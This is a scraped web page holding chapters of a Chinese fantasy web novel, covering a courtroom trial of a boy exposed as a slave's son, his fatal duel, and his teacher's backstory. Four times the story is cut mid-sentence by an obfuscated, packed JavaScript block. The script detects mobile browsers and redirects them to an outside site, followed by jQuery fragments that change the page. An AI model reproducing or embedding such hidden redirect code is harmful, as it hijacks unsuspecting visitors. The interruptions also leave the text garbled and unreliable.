“你直接提交证据。”阿曼达也受不了了,这位贵族圣剑士明显没跟村妇打过交道。
“我留有女奴的头发。”任巧妹解开衣服,从怀里掏出一个袋子,技术人员赶紧上前接住,又找任侠要一根头发。
“还有呢?”高语耐心问。
“还要什么!你告诉我还要什么?灵石一验不就验出来!你们这群废——”
法警再次施展静音术。
“确认被检测者之间存在生物学母子关系。”技术人员汇报。
“头发是任侠母亲的。”高语点头,“还有证据吗?证明头发是从一个奴隶身上取的。”
任巧妹呆住了。
“没有证据,换被告答辩。”高语看向任侠。
任巧妹拼命指着自己的嘴,想要说话。
阿曼达立刻说:“阁下,原告还有证据提交。”
高语无奈地抬手,示意法警解除限制。
“头发是我亲手拔下来的!我亲眼看着女奴被带上山!”
高语摆了摆手,连话都懒得说,法警刚要施静音术,任巧妹的下一句话从嗓子里倾泻出来:“女奴的尸体就在万化仙宗!任侠的剑仙师父帮他转移过尸体!”
全场寂静。
“哦?”阿曼达站起来,踱到台前,“你的意思是,付微尘收奴隶为徒,还帮其掩盖身份,把他带进黄金城,在皇室任助教一职,允许他和公主一起上课?”
“对,你说的太对了!”任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065126|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巧妹恨不得把阿曼达的嘴抢过来安自己身上,“我就是这个意思!小奴隶那师父也不是好人,连女皇都敢骗!”
高语的神色还是很平静,但语速加快,她吩咐道:“立刻让人去万化仙宗调取证据,要快!走加急通道,直接去见卫圣婴。”
任巧妹雪亮的恨意中出现一丝快意,她抬高下巴看向任侠,仿佛当场宣告胜利。
她不知从何而来的恨意着实令人吃惊,如果现在是私人场合,一定有人愿意冒着耳聋的风险,顶着一堆感叹号听她讲讲恨意背后的故事。
可这里是荆棘法庭,审判员快速推进流程:“现在由被告答辩。”
“我刚知道自己不是妈妈的亲生孩子。”任侠黑黢黢的脸上看不清表情,“她以前骂我打我,说我不是任家人,我还以为是气话。”
“谁是你妈妈?你个小——”任巧妹再次被静音。
阿曼达问:“你不知道自己的来历?原告说你到她家时已经三岁了。”
“从我有记忆开始,我就是任家的孩子。”任侠不中阿曼达的陷阱,避开年龄问题不答。
他像是陷入回忆:“我家条件不好,父亲走得早,我从八岁起就帮忙种地。万化是修真维度,大型农业机器没有普及,我们一家很辛苦,妈妈脾气不好,我能理解。”
“三年前,我想考万化仙宗,妈妈不让。我用攒的钱偷偷去,竟然考中了,还被客座长老收为弟子。”
当时的付微尘刚刚结束网红生涯,被万化仙宗聘请,任侠是她收的第一个徒弟,也是最后一个徒弟。
“我把好消息带回家,妈妈却不高兴,她让我想办法把弟弟也带入宗门。”任侠叹气,“可是平安患有自闭症,万化哪里会收他。”
“妈妈说,万化不收弟弟,我也不能去修真,我过的不能比弟弟好。”
原告席上,任巧妹激动地举起印有原告二字的名牌,抡起胳膊向任侠砸去,被法警接住。
任侠没被干扰,全当任巧妹不存在,慢慢讲道:“无奈之下,我找到师父,请求师父帮忙安顿弟弟。师父问我缘由,我不好意思告诉她是妈妈逼迫我,只好说我和弟弟情同手足,不愿把弟弟留在山下。”
陪审席最后一排,任平安似有所感,突然高举双手乱晃,嘴里发出啊依啊依的声音,像是在印证哥哥的话。
“我弟弟……”任侠停顿一下,“是很好的孩子,他大部分时间都很安静,师父把他安置在偏峰的一个小展览厅,让他做看守,管吃管住。师父让我有空就带他去外门听课,万一能听懂,说不定他的病就好了。”
任平安嘴里叽里咕噜的,不知道在说些什么,他可能听见哥哥熟悉的声音,做出只有他自己懂得的回应。他的声音其实很刺耳,但没人想阻止他,连离他最近的法警都毫无动作。
“平安!”任侠不得不回头阻止弟弟,“听话!”
任平安奇迹般安静下来。
“我知道师父这么说是想安慰我。”痛苦爬上任侠的眉梢,“她瞒着我,把妈妈和弟弟接过来,也是想安慰我。”
高语抓住重点:“任巧妹和任平安是付微尘邀请进黄金城的?”
立刻有人上前核对,高语看着维度出入管理局的记录,不住地点头。
阿曼达沉不住气:“付微尘邀请进城,不代表她没有嫌疑,她早已知道弟子的奴隶身份,还——”
“审判员,”高语打断她,“我们先听被告陈述。”
任侠抬起头,和席位上的高语对视:“展览厅的女尸是我转移的。”
“所以你知道那是你的生母?”阿曼达紧接着发问。
全场的目光集中在任侠身上。
27. 我来告诉你
“不知道。”任侠老实摇头,“我一开始不知道那是具尸体,一直以为是雕刻出的人偶。”
“她漂亮得和尸体两个字沾不上边。”任侠平静地说,“可能因为漂亮到不像人类,平安很怕她,怕到不敢在展厅多呆,跑到室外冻感冒。我只好厚着脸皮再次找到师父,请师父把她调去别的展厅。”
一名小法官匆匆跑上台,弯腰和高语说了什么。
任侠的视线紧紧跟随她们,等小法官说完了,高语抬头:“你继续。”
“然后我才知道她是用奴隶做的傀儡,不是什么雕塑。我不知道她后来被送到哪,只知道她从展厅消失了。我不觉得她是我的生母,她太漂亮了。”
任侠长了一张黑黑窄窄的脸,说不上丑,但绝对不好看,和他描述中绝美的傀儡奴隶不像有血缘关系的样子。
“我家一直有矛盾,没有办法,家庭条件不好。”任侠远远看了一眼任巧妹,“我被师父带到黄金城后,妈妈希望平安也能进黄金城任职。”
一旁的法警不受控制地抽动嘴角,明显在憋笑。
任侠叹气:“怎么可能呢?黄金城又不是万化仙宗,凭师父的一句话就能给平安一个职位。”
“妈妈也意识到不可能,她转换思路,让我把平安带进宫,说公主看见平安就会喜欢他,把他留下做皇夫。”
“噗。”法警忍不住笑了一声。
“老实说,我总觉得妈妈可能是受了太多磋磨,导致心态上有些异常,我一直想带她去医院看看。”任侠的眼睛还是紧盯高语,似乎想从大法官那张平和的脸上看出点什么。
任巧妹气到翻白眼,可惜被施了静音术,发不出任何声音,光看口型能猜到她在骂人。不过她有另一张嘴,台上的阿曼达会帮她说话:“你的意思是任巧妹有精神疾病,她在诬告你?”
“这话可不是我说的。”任侠立刻接话。
阿曼达嗤笑一声:“不是你说的难道是我说的?”
任侠继续讲:“有一次,妈妈和我通视频,她声音比较大,被师父听见了,可能是师父邀请他们来黄金城的契机。”
“你师父听见什么了?任巧妹骂你贱奴?”阿曼达嘲弄。
“听见妈妈要我想办法把平安弄到黄金城。”任侠丝毫没被激怒,虽然他只有十三岁,但听过的难听字眼比阿曼达这辈子加起来都多。
“那具傀儡呢,任侠?”高语冷不丁问。
“我不知道她去哪了。”
“为什么任巧妹提到女奴尸体,你就立刻联想到展厅里的傀儡?”
“她太漂亮了,我印象深刻。”
高语加重语气:“我问的不是这个,任侠。我要问的是,任巧妹为什么知道女奴尸体的事?她是万化仙宗山脚下种地的村民,她的儿子患有自闭症,你和她的关系差到极点,她完全没有消息来源。”
“我告诉她的,以此来展示我对弟弟有多好,我想讨好妈妈,很难理解吗?”
高语问:“那她为什么迅速把展厅里的傀儡和多年前逃跑的女奴联系在一起?”
任侠沉默。
“任巧妹,你来说,你为什么知道的这么清楚?”
任巧妹死死闭着嘴。
“你们万化保留土葬的习俗,对吧?”
“去挖。”高语吩咐,“先挖任家祖坟,再挖他家院子,最后挖附近的无主坟地。”
“不许挖!我家是自由民,你们凭什么挖?”任巧妹大吼,伴随一连串的污言秽语。
没有人理睬她,连法警都懒得施展静音术。法庭内所有人的身影仿佛在无限拔高,冷漠地俯视她。这些人即使不是贵族,也出身于不错的平民之家,他们不会把任巧妹当作和自己一样的“人”看待,正在观看直播的观众也不觉得有什么不对。
很多时候,阶级不止体现在言语或肢体的冲突上,还体现在极度不尊重的漠视上。在他们眼里,只有市井骂街的泼妇才会搭理任巧妹。他们当然和泼妇不在一个阶级,他们凭空建立隔音壁,把任巧妹隔离在另一个世界。
任巧妹胡乱骂了好久,没有得到任何回应,她绝望地向四周张望,终于找到和她一起被俯视的任侠,她骂道:“贱奴,你说话啊!那是你爸的坟!”
任侠用浸满水的目光看着她,里面充满了悲伤和痛苦,还有一种任巧妹看不懂的怜悯。她虽然看不懂,但本能地察觉自己被一个奴隶怜悯了,她勃然大怒,一直忍耐的秘密脱口而出:
“他师父把那女奴买下来了,他把女奴和任武葬在一起!”
阿曼达不禁问:“你为什么允许他把女奴和你丈夫葬一起?”
“任武活该如此!他肯定早和那女奴好上,连孩子都三岁了,还敢和我结婚。我孕期难受得想死,他带着女奴和女奴儿子回来气我!和奴隶睡一个棺材,是他应得的下场!”
“任侠,你呢?付微尘给你买下尸体,你为什么不抓紧处理掉,还要把她土葬?是因为你足够愚蠢,想不到会被任巧妹发现吗?”
“首先,不是我师父买给我的。”任侠缓缓说,“其次,不要再试图激怒我,让我像妈妈一样说出你们预想中的答案。直接公布鉴定结果吧,结果早就出来了,不是吗?”
从小法官跑上台和高语汇报的那刻起,他就意识到自己无论说什么都没用了,坟墓早已挖开,真相大白于世。
高语平和地说:“任武不是你父亲。”
任侠面无表情,任巧妹惊呆了。
“傀儡的主人是偏峰从前的执事长老,名为轩辕茂。轩辕茂沉迷研究傀儡术,私底下也研究蛊术。他偶然得到映心蛊,用新买的丑陋女奴做实验,任武只是他雇佣的助手。他让任武假装爱上女奴,甚至应女奴要求带她逃离宗门。映心蛊如镜,将女奴幻想中的爱意折射为美丽的外貌,丑陋的女奴变得无比美丽。”
“实验完毕,女奴被回收制成傀儡,任武不知道出于什么目的,谎称女奴的孩子死了,沉迷傀儡之道的轩辕茂懒得亲自核实,不久后寿终正寝。”
“女奴就是你的生母,那个孩子就是你。任侠,你早就知道一切的真相,却顶着不属于自己的身份活了整整十年,竟然敢来黄金城任职,你不悔过吗?”
任侠沉默以对,任巧妹却膝盖一软,扑通一声跪在地上,她失去刚刚叉腰骂街的气势,双眼直直地望着虚空,喃喃道:“原来……原来他真的是去山上做工了……”
真相并非无迹可寻,任武带女奴逃离宗门后还能回去,莫名其妙有了稳定的工作,其实相当不符合逻辑,是整起骗局最大的破绽,但任巧妹从来不细想。
“任侠,你并非没有悔过的机会。”阿曼达说,“你天生是奴隶,不具备遵守规则的能力,这不怪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073899|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你。只要你回归奴隶的身份,自然由你的主人督促你。”
阿曼达背负大剑,一步一步走下高台,她身上的板甲发出低沉且富有节奏的摩擦声,胸甲上的郁金香暗纹被金色的灯光镀上耀眼光辉,她的声音极为庄严:
“机会摆在你面前,告诉大家,付微尘是不是从收你为徒开始就知道一切真相,是不是付微尘买下生母尸体帮你掩盖身份,是不是付微尘把你一个奴隶带到黄金城任职,允许你和公主一起练剑!”
她的话语不是质问,而是当头的断喝,任侠给出答案:“我任侠以道心起誓——”
炽白的光柱笼罩任侠全身,他真的在用道心起誓,做实付微尘的罪证。阿曼达停下脚步,隔着面甲都能感受到她的喜悦,她高高在上地俯视任侠,享受来之不易的胜利。
白光中的任侠抬头和阿曼达对视,他的每一个字都清晰得像银针落在玉石上:“生母的尸体是我一人购买,和师父付微尘毫无关系。我刚才的呈堂证供,除了隐瞒自己的奴隶出身外,句句属实。以上皆为肺腑之言,若我说了一句假话,就让我道心破灭失去全部修为。”
炽白的光绕着任侠周身旋转,慢慢消散,阿曼达像是一具被钉在台阶上的雕塑。
更高处的高语闭上眼睛。
“圣剑士阿曼达,”任侠直呼她的名字,“你问我为什么把生母与任武合葬,而不是赶紧把尸体处理掉。”
“我来告诉你答案,我来告诉你们答案。”他掐出指决,唤来本命剑。
剑飞到手里,被他佩戴在腰上,他笑了,是和刚才的阿曼达一模一样的嘲笑:“因为我和你们不一样,我把她当人看,我尊重她的意愿,就算任武的爱是假的,她肯定也愿意与任武合葬。”
“那是她曾经的愿望呀……”任侠叹息着,手压在剑柄上。
一触即发的剑意惊醒阿曼达,她厉喝:“法警,用记忆法术搜查他的脑子!”
法警望向审判长高语,高语始终闭着眼睛。
“你犹豫什么?他是个奴隶,记忆法术可以对他用!快啊,一定能搜出付微尘帮他掩盖身份的片段!”
闭着眼睛的高语轻微摇头,法警转过头不敢直视阿曼达。
另一位审判员腾地站起来,冲法警大喊:“快跑,他要自爆!”
法警连滚带爬地扑到一旁,预想中的爆炸声却没有响起,只见任侠的毛孔中渗出鲜血,全身肌肉绷紧到可怖的程度。
他倒行经脉,燃烧灵根与灵基,整整拔高一整个大境界!
他要做什么?攻击阿曼达?太可笑了吧,拔高境界也不可能是圣剑士的对手!
“你想杀我?”阿曼达指了指自己的鼻子,像是发现天大的笑话,狂笑出声:“哈哈哈哈你是不是以为只有付微尘会用剑?一个扮丑博人眼球的低贱小人,一步登天成剑仙后好像换了层皮,你真以为自己能从她那里学到什么东西吗?”
任侠也笑:“你配提师父的名字吗?”
血液被蒸腾成红雾环绕在他身边,此刻的他和凄辞暮曾经见过的害羞少年完全是两个人。
“看来你一心求死。”阿曼达解下背后的大剑,“我成全你,帮你结束痛苦且无意义的一生。”
“我的意义就是和你一起站在荆棘法庭!”任侠怒吼出声。
带着血色的白光从他的剑鞘中绽开。
28. 生添寿
“真是什么人都敢对我大喊大叫了。”阿曼达单手持剑,光顺着剑刃流淌,“杀你比杀剑奴简单。”
十年前,阿曼达曾参与过多次针对兽人叛军的围剿,宽刃大剑伴随她征战沙场。三枚附魔宝石依次亮起,阿曼达的另一只手也握在剑柄上。
她没有托大,她在认真对待倒行经脉的任侠,观看直播的凄辞暮心里一沉。
蚍蜉撼树,可笑不自量。
阿曼达嘲笑蚍蜉,但丝毫没有轻视蚍蜉,任侠没有半点机会,凄辞暮屏息凝神等待任侠出招。
下一秒,直播白屏了。
“是机器坏了,还是不让播了?”晓晓问罗斯玛丽。
“不要说话!”凄辞暮扑到音响设备前。
她听见了,听见一声脆响,根本不是白屏,而是生添寿出招后的光!
是什么在响?一点灵光钻进她的脑海,她激灵打了个冷战。
不会吧?凄辞暮被自己的想法吓了一跳,不可能是荆棘法庭,她想,荆棘法庭牢不可破。
“汪汪汪!”靠近玻璃的阿草突然狂叫。
凄辞暮猛然转身,透过玻璃,她眼睁睁看着荆棘法庭裂开一条细缝!
生添寿剑光乍现,白光先吞噬整个法庭,然后顺着被劈开的裂缝溢出来,空气中的尘埃在强光中骤然显形,像细小的羽毛般欢悦跳动。
紧接着,尘埃被如有实质的剑光一口吞掉,剑光所过之处,天地一片空白,干净到不留一粒尘埃。
离荆棘法庭极近的载具也受到影响,凄辞暮看见骨瓷杯中的柠檬片停止摇晃,水纹却沿着杯壁扩散——剑光在切割空间!
与此同时,屏幕中响起阿曼达惊慌失措到变调的声音:“付微尘,你哪来的胆子!为了一个奴隶劈开荆棘法庭?你——”
剩下的话语被阿曼达囫囵吞回去,呛啷声响起,本命剑被任侠收回剑鞘,白光瞬间回笼。
凄辞暮猜测,阿曼达面甲下的脸一定比大剑上的宝石还红。
“真是荣幸,”任侠感慨,“被圣剑士认成师父。”
“师父不会来的。”任侠坦然望着阿曼达,“因为我不希望她来。”
他的右臂弹动两下,绵软得和橡胶一样。阿曼达像是为了找回丢失的脸面,开口讽刺:“你师父没教你朝敌人砍吗?光把法庭撕个口子有什么用?”
“刚刚那一剑用来证明我道心未破,修为尚在,我的誓言全是真话。”
任侠弓步弯腰,重心转移到持剑的右手上。
“说来可笑,如果我没被妈妈认作孩子,我现在也是个剑奴,随时可能死在你这种人的剑下。这一剑,是用来杀你的,你记好它的名字。”
阿曼达根本不等他说完话,迫不及待地将大剑举过头顶,催动附魔宝石向前砍去。
同时,任侠的本命剑也出鞘:“煎人寿!”
“呼——”
虚虚的破空声传来,大剑的剑气只砍到一个虚影,阿曼达惶恐道:“怎么可能!”
太快了,任侠的速度快到阿曼达的目力和身为圣剑士的判断力全部跟不上,才会误判任侠的位置。
剑光再一次炸开,阿曼达只来得及收回大剑,在半空出画出一个银弧。
“呛!”
铁器相咬的声音在一片白光中蓦然荡开,接着是一声更为沉重的闷响。
待白光散去,凄辞暮才看清发生什么,她旁边的晓晓倒吸一口凉气:
“嘶——”
阿曼达的头盔被拦腰砍断!
封闭式头盔仅剩下半部分,上半部分连带阿曼达的一撮金发躺在不远处的地面上。她的左脸缓缓裂开一道猩红细线,白色的光从伤口中迸发,那竟然是煎人寿的剑光!
阿曼达面色巨变,她狼狈催动附魔宝石,把大剑附上一层赤红的岩浆,然后探着脖子,咬紧牙关把脸颊贴在剑身上。
“滋滋滋——”
烤肉般的声音响起,晓晓直接吐出来:“呕——”
“你竟然能砍伤我!”阿曼达嘶吼,她顶着满脸黑色血痂转头,愣住了。
任侠立在法庭正中央。
他死了。
右臂从内部炸开,骨头渣穿刺皮肉,皮肤上全是小洞,他没能完成煎人寿的最后一步——还剑入鞘。
阿曼达怔怔看着他,突然踉跄着后退两步。
想必她明白,如果任侠能坚持到最后一步,她现在已经是白光中飞舞的尘埃了。
碧绿的双眼被怒火充斥,阿曼达靠愤怒抵抗恐惧——那是她不该产生的恐惧,她无法接受自己因一个奴隶而恐惧。
她拖着宽刃巨剑,大步走过去,抬脚就要踹倒任侠。
一道黑影从侧边爬过来,一把抱住她的脚:“别!求您别动他,他已经死了!”
竟然是任巧妹。
阿曼达缓慢且新奇地问:“你拦着我?”
“求求您了……”任巧妹双眼渗血,她的视网膜被两次强光弄伤,看不清眼前的事物,仍然跪在地上坚持哀求。
“让他站着死吧,求求您了,您行行好!要不您踹我出气吧,我——”
“咚!”
阿曼达一脚把任巧妹踹飞。
“被告已死。”高语突然介入,“所有人归位,下面宣布判决结果。”
阿曼达保持抬脚的动作,没有动。
高语警告:“阿曼达,归位!你做的足够多了!”
足够向你的新派系展现忠诚,得到全方位的庇护。所以,放过那个孩子吧,让他顶天立地死在法庭中央。阿曼达读懂高语的未竟之语,她一言不发地回到台上坐下。
“本法庭依法审理任巧妹诉任侠违反从母法一案,现已审理终结,经查明……”
后面的话凄辞暮一个字也没听进去,她只听见哒哒哒的响声,还有众人惊慌失措的问询声。
“汪汪汪汪!”
“殿下,您怎么了?”
“立刻回宫!让医生待命!”
“扶住公主的下颌!”
原来是我的牙齿在打颤呀,凄辞暮想。
哒哒哒哒哒——
任侠的那一剑在她眼前被拆分成一帧又一帧的定格画面,大脑神经自动将画面连成一串,仿佛一本翻页动画书。
生添寿与煎人寿。
“呼——”凄辞暮长长舒出一口气,一把捏住扶着她下颌的手,简洁地说:“我没事,回训练场。”
“殿下,您的身体……”罗斯玛丽想劝她先看医生。
“我说回训练场。”
罗斯玛丽低头行了一礼,不敢多说什么。
阿草却像懂得一切,静静地趴在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083792|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚边。
训练场内。
“我学会了,老师。”凄辞暮好似自言自语。
她的手按在刀柄上,弓步下腰,身体压得极低,姿势和荆棘法庭中的任侠无限重叠。
力量在刀鞘中积蓄,左手几乎抓不牢刀鞘,刀身像是被什么东西吸附住,使右手的拔刀极其艰难。
汗珠从凄辞暮的额角滑到眉骨上,被眉毛挡住。她指节用力到发白,汗水浸透眉毛滴落进眼睛,刀身纹丝不动。
好咸,凄辞暮舔了舔嘴角,汗水品尝起来原来是咸的。
好痛,凄辞暮不舍得眨眼,汗水滴进眼睛原来是痛的。
如果我是任侠……凄辞暮恍惚地想。
训练场变成金碧辉煌的荆棘法庭,她站在被告席上孤立无援,周围人的身影在无限拔高,只有任巧妹和她一样渺小。
然后任巧妹转过头来骂她,她悲伤且痛苦地看着自己名义上的母亲嘴巴一张一合间冒出无数污言秽语,明明被骂得狗血淋头,却生不出半点怒气。
好可怜的女人。
任巧妹竟然以为自己是高台上那些人中的一员,不断强调自己是自由民,殊不知,在他们眼里,任巧妹和任侠没有任何区别。
自由民,什么是自由民?对奴隶来说,任巧妹是自由民,对阿曼达来说,任巧妹是什么呢?
生添寿,上苍赋予人类如此多的寿数,却不舍得给予清醒的头脑和能互相理解的内心。即使世界上不存在阶级,奴隶制荡然无存,人和人之间依然存在差距,存在压迫,存在隔阂。
越是迷惑不解,越被不断思考的事物折磨,就像任巧妹被一个近在咫尺的真相折磨整整十年,也间接折磨任侠十年。如果任巧妹不敲响血誓钟,想必他们会受到更长久的折磨,直到死亡降临。
由此,长长的寿命变为折磨,是上苍作弄人类的把戏,是比刀刃更锋利的利器,一旦用它伤人,折磨便附在伤口中,久久不肯散去。
有什么用呢?凄辞暮想,被强加在身上的漫长寿命有什么用?还不如春生夏死的蟪蛄!
我宁愿不要漫长的寿数!我不要浑浑噩噩地活着!
“刷!”
念头通达的瞬间,刀被拔出刀鞘,凄辞暮的心跟着刀一起飞起来,她的视野被光覆盖,她的手臂被生添寿的力量冲击,她艰难地将刀归还入鞘,听见呛啷的响声和墙壁倒塌的轰隆声。
凄辞暮再次弓步弯腰。
“殿下。”
一只干燥粗糙的手按在她的右手上,声音温和且无奈,刹那间所有感官回笼。
“汪汪汪!”这是阿草焦急且恐惧的叫声。
“您太心急了,还不到尝试煎人寿的时候,先治疗伤口吧。”这是付微尘的劝阻。
钻心的疼痛从手上传来,凄辞暮举起手,才发现右手大拇指的指甲整个翻起来。
“得拔甲了,很疼的。”付微尘叹气。
“老师……”千言万语被堵在喉咙里,凄辞暮竟然不知该从哪里开始说。
“我知道。”付微尘重复,“我都知道。”
侍卫从倒塌的墙壁外探头进来查看,发现公主平安无事后又缩回去。谁都知道公主心情不好,没人敢往前凑。
只有阿草把头往凄辞暮手底下拱。
一滴泪落在阿草头上。
29. 疑问的根源
“殿下。”付微尘温和地唤道。
她虽然没有说任何安慰的话语,但目光中的柔和、悲恸和歉意如温泉水般满溢出来,凄辞暮在她的目光中痛哭出声:
“老师、老师……任侠他……”
像是金箔从眼中落下,也像琥珀色的酒液溢出杯壁,阿草从未见过这样流动的金色,他呆立一会,然后急得人立而起,前爪搭在凄辞暮身上,边werwer地叫,边舔舐她的眼泪,发现眼泪怎么都止不住,阿草也呜呜呜地哭起来。
“他死了。”付微尘平和且坚定地说。
凄辞暮怔在原地,眼泪不再流淌。
她以为付微尘会说些安慰人的话,和她一起缅怀任侠,没想到付微尘会这么说,简直像是在强迫她认清事实。
“任侠是站着死的,因为他需要摄像头对准他残破的尸体,展示给所有人看。”付微尘叹气,“那孩子以前明明最讨厌拍照了,他嫌自己丑。”
凄辞暮茫然地看着付微尘,付微尘执起她的手:
“他要那些和他一样的人为他流泪,然后心生希望;他要那些和任巧妹一样的人哀叹,然后心生愧疚;他要那些和阿曼达一样的人恐惧,然后被恐惧所困。”
“他希望下一个任侠出现时能被受他影响的人托举起来,不至于坠入死亡,落得和他一样的结局。”
付微尘悲伤而温柔地摸了摸凄辞暮的头发:
“他知道世界上还有很多个任侠,他只是其中运气不错的一个,他不能浪费降临在他身上的好运,他必须在黑暗中向前迈出一大步,哪怕前方是悬崖,他会摔得粉身碎骨。”
阿草忍不住动了动身体,付微尘用另一只手摸了摸他的背毛:
“他让所有人知道,世界上有一个任侠,接下来将有更多任侠,世界会大变样,他们——”
付微尘的话戛然而止。
凄辞暮读懂了她的意思,奴隶们看见任侠学成剑术,砍伤贵族圣剑士,将被点燃希望,那些等死的剑奴们会不会萌发“我也能如此”的想法呢?
任侠的死去并非毫无意义,他不需要软弱的眼泪与无意义的缅怀,他早已被千千万万个任侠看到。
凄辞暮确信自己也看到了,她擦干眼泪:“老师,我学会了生添寿。”
“我知道。”付微尘点头,“实际上,我并不希望你在这个年纪学会它,没有人应该在13岁时学会它。”
“为什么?任侠今年也是13岁。”
“那是我临近30岁时,满怀愤懑与惆怅悟出来的剑招,不适合年轻人学,年轻人不该学会它。”付微尘苦笑,“我当时觉得天地不仁以万物为刍狗,看谁都像仇人。”
她坦然说:“悟出生添寿后,我差一点成了邪剑仙,抛下家人隐姓埋名,跑去远域维度以杀人为生。”
付微尘,邪剑仙?凄辞暮想起短视频中大喊“家人们,点赞支持一下!”的付微尘,觉得她怎么看都和邪剑仙三个字不沾边。
看出学生的疑惑,付微尘笑着说:“我15岁就开始工作了,没办法,书读不明白修真也修不明白,正经学校考不上修真宗门也进不去,只能打打工浑浑噩噩地活着。”
“但我总想练剑,做梦都想成为剑仙。”付微尘摩挲着剑鞘上的铜扣,“16岁时,我正式开始练剑,起因是我换了家工厂打工。”
“不是被隐士高人收为徒弟吗?”凄辞暮脱口而出。
“哈哈哈哈这是什么版本的谣言?我第一次听。”
“有隐士高人也轮不到我,我没有任何天赋,脑子也不灵光。”付微尘摇头,“我当时在一家工厂打工,专门生产剑鞘,不是我手里这种,而是工艺品剑鞘。”
凄辞暮和她一起摸剑鞘上的铜扣。
“万化维度因万化仙宗的十八剑仙而出名,且风景秀丽美食众多,极其适合旅游,旅游业是万化的支柱产业。游客们对十八剑仙狂热的追求导致工艺品剑卖得特别好,尤其是仿制剑仙本命剑的工艺品。”
“我工作的地方是一家小作坊代工厂,只生产剑仙同款剑鞘,批量供给制造商。制造商把剑鞘和没开刃的铁剑组装成工艺品,高价卖给游客。”
凄辞暮隐隐猜到什么。
“你一定想问制造商是谁,我当时不知道,以为是个笼统的概念。后来才知道,制造商就在万化仙宗的炼器峰上,十八剑仙的版权在万化仙宗手里,只有他们和他们授权过的代工厂能做剑仙同款产品。”
付微尘无奈地笑:“可想而知,我赚不到多少钱。底薪每月2000,天天站足8小时能赚到4000,站足12小时且日夜倒班才能到6000,其中3000扣到年底才发。”
“为什么?”
“厂长说制造商一年一结代工费,她手里没钱发工资,只能年底一起发。我和我的同事都恨死传说中的‘制造商’了,直到我离职时才知道真相。”
明明是付微尘自己的人生,她却像讲故事一样:
“扯远了,说回我练剑的原因,我练剑是因为虚荣心。16岁的我觉得流水线上的仿制剑鞘太漂亮了,我无法想象剑仙手里的正品能好看到什么程度。我想要正品剑鞘,也想让所有人像喜欢剑仙一样喜欢我。”
简单且充满私心的原因,并非网上流传的什么传承父母的梦想或为平民剑客争一口气,16岁的付微尘只是一个虚荣的女孩,她的思想极其简单。
“多亏我当时想的是做剑仙。”付微尘仰头大笑,“如果我想的是做新娘,我现在孩子都有5个了。”
“可是,一天工作12个小时,一月只有3000元,怎么练剑?”凄辞暮问。
“2000元。”付微尘纠正她,“其中1000交家用,我有父母和弟妹要供。”
“我也不知道怎么练,我当时的执行力和精力高到离谱的程度。上班时边扎马步边工作,下班后还能练4个小时。我在毫无指导的情况下练了整整6年,同时也攒下一笔钱,我终于决定辞职,拜师专心练剑。”
“我是在3月份辞职的。”付微尘短促地笑了一声,“理所当然没拿到那3个月的加班费,厂长终于对我说了实话。”
“实话就是厂长在说谎,制造商其实一月一结代工费,但厂长不愿意发给我们全部钱,怕我们有了钱后干半年歇半年,她的工厂找不到熟手做工。她也知道这份工作累到极点,没人想一直干,但她不愿多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089844|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雇人。”
“厂长把她的说法美化了,她说她怕钱都给我,我控制不住全花了,她是在帮我存着。”
凄辞暮从没见过这么不要脸的人:“用得着她吗?”
“我当时也是这么说的。”付微尘说,“厂长激动极了,说我有本事就去告,不可能告赢她,她背后有人。”
有万化仙宗的炼器峰,虽然是小作坊,但能拿到订单,说明厂长肯定认识炼器峰的人。
“她还说,我应该珍惜能被压榨的时光,趁我还有被压榨的价值,早早存下一笔养老钱,别天天做剑仙梦。我不想干,有的是人干;我现在不干,未来岗位全机械化,想干都干不了,只能抱着剑仙梦去喝西北风。”
“我当时真是年轻呀!”付微尘感慨,“一气之下连加班费都没要,扭头就走了。”
“那年我22岁,第一次认识到自己确实没有天赋,也不聪明,更不懂人情世故,没有一个师父愿意收我做徒弟。这期间我坚持练剑,钱还被人骗走一部分,我只能缩衣节食地活着,最终又回到工厂打工。”
“以前的代工厂吗?”
付微尘说:“回不去了,不可能回去,回去就证明厂长说的全是对的。”
